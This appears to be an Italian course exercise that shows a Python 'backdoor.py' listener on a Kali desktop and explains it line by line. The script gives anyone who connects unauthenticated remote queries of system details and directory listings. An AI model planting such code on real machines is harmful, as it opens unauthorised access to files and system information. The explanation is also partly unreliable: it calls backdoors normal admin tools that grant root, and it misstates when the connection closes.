



```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

Il programma in figura funziona da server in grado di ricevere dati da un client che si connette ad esso. Può essere usato come codice malevolo da iniettare per creare una backdoor. Una backdoor è un insieme di righe di codice usate per accedere ad una app, un sito o un dispositivo senza autenticazione.

Normalmente è uno strumento utilizzato dagli amministratori, poiché concede privilegi di root, ma può essere usato da malintenzionati per accedere senza autorizzazione ed aggirando il sistema di autenticazione.

Vengono inizialmente importi i moduli per la connessione(socket), per il sistema operativo(os) e l'hardware(platform).

Vengono inizializzate le variabili che contengono l'indirizzo IP e il numero di porta e con "s.bind" si mette in ascolto il server su quel socket. "s.listen(1)" significa che vengono accettate una connessione alla volta. Quando una connessione in entrata viene accettata viene stampato "client connected" e vengono inviati i dati al client. Questa backdoor invia le informazioni hardware e del sistema operativo del dispositivo su cui viene installata.

Quando non vengono inviati più dati la connessione si chiude.